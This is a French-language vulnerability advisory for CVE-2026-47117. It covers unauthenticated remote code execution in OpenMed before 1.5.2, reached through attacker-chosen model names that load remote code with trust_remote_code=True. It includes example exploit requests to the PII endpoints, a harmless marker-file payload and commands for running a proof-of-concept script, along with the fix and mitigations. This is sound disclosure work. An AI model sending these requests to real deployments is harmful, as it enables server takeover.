
OpenMed < 1.5.2 RCE non authentifié via le chargement du modèle de filtre de confidentialité PII et trust_remote_code=True
Sévérité : Critique, CVSS 4.0 9.3, CVSS 3.1 9.8 (attribué par VulnCheck, le CNA)
Vecteur (v4.0) : CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Vecteur (v3.1) : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affecté : OpenMed < 1.5.2
Corrigé dans : 1.5.2
CWE : CWE-94 (Contrôle inadéquat de la génération de code, injection de code)
Signalé par : Sai Teja Erukude
CNA : VulnCheck
Publié : 2 juin 2026
OpenMed avant 1.5.2 contient une vulnérabilité d'exécution de code à distance non authentifiée dans le chemin de chargement du modèle du filtre de confidentialité PII.
Les points de terminaison de l'API REST POST /pii/extract et POST /pii/deidentify acceptent une valeur model_name provenant du corps de la requête. Dans les versions vulnérables, le répartiteur du filtre de confidentialité utilisait une correspondance large par sous-chaînes sur cette valeur contrôlée par l'attaquant. Un nom de modèle tel que attacker/foo-privacy-filter-bar pouvait donc être routé vers le backend du filtre de confidentialité.
Sur les déploiements non-MLX/Torch, ce backend chargeait les artefacts de modèles Hugging Face via Transformers avec trust_remote_code=True. Si le dépôt de modèles contrôlé par l'attaquant contenait du code Transformers personnalisé référencé via auto_map dans config.json ou tokenizer_config.json, Transformers importait et exécutait ce code Python lors du chargement du modèle ou du tokenizer.
Le code importé s'exécutait avec les privilèges du processus du service OpenMed.
Un attaquant distant non authentifié pouvant atteindre l'API REST OpenMed peut exécuter du code Python arbitraire sur le serveur en fournissant un identifiant de modèle malveillant de type Hugging Face dans model_name.
Selon le déploiement du service, cela peut permettre :
Le problème est accessible via les deux points de terminaison PII, car ils acceptent tous deux model_name et utilisent le même chemin d'extraction/chargement de modèles PII :
POST /pii/extract
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json
{
"text": "John Doe called 555-1212",
"model_name": "attacker/foo-privacy-filter-bar",
"confidence_threshold": 0.0
}
Le flux de contrôle vulnérable comporte deux défaillances de frontière de confiance :
model_name fourni par l'utilisateur lors de la sélection du backend du filtre de confidentialité.trust_remote_code=True.Le répartiteur traitait tout identifiant de modèle contenant privacy-filter comme faisant partie de la famille du filtre de confidentialité. Cela permettait à des identifiants contrôlés par l'attaquant, par exemple attacker/foo-privacy-filter-bar, d'atteindre un chemin de code destiné aux modèles Privacy Filter de première partie de confiance.
Une fois routé vers ce chemin, Transformers pouvait charger du code personnalisé contrôlé par l'attaquant via auto_map. Cette importation se produit pendant le chargement du modèle/tokenizer, avant qu'une quelconque inférence utile ne doive réussir. Une charge utile de preuve peut donc être aussi petite que :
from pathlib import Path
Path("marker.txt").write_text(
"custom Transformers code executed via trust_remote_code\n",
encoding="utf-8",
)
poc_exploit.py construit un répertoire de modèles local inoffensif de type Hugging Face dont le nom contient privacy-filter. Les modules Transformers personnalisés générés écrivent un fichier marqueur lorsqu'ils sont importés. Le script envoie ensuite une requête à une instance d'API OpenMed de test avec ce répertoire comme model_name.
Le comportement attendu sur les versions vulnérables d'OpenMed est :
model_name contrôlé par l'attaquant.trust_remote_code=True.À exécuter uniquement sur une instance de test locale :
pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract
Si le service OpenMed s'exécute dans un environnement qui ne peut pas accéder au répertoire local généré, publiez un modèle de test équivalent dans un dépôt Hugging Face contrôlé et transmettez cet identifiant explicitement :
python poc_exploit.py \
--target http://127.0.0.1:8000 \
--model-name your-org/foo-privacy-filter-bar \
--marker marker.txt
Mettez à niveau vers OpenMed 1.5.2 ou une version ultérieure.
OpenMed 1.5.2 sépare le routage de la confiance :
privacy-filter ne passent plus par le chemin du filtre de confidentialité de confiance.PrivacyFilterTorchPipeline définit trust_remote_code sur False par défaut.OPENMED_TRUSTED_REMOTE_CODE_MODELS.Si une mise à niveau immédiate n'est pas possible :
model_name contrôlées par l'utilisateur à Transformers avec trust_remote_code=True.Découverte et signalée par Sai Teja Erukude, coordonnée via VulnCheck.
| Date | Événement |
|---|
| 18 mai 2026 | Vulnérabilité soumise à VulnCheck |
| 20 mai 2026 | VulnCheck a initié la divulgation coordonnée |
| 22 mai 2026 | CVE-2026-47117 provisoirement attribué |
| 1er juin 2026 | Correctif OpenMed 1.5.2 examiné et confirmé |
| 2 juin 2026 | CVE-2026-47117 publié |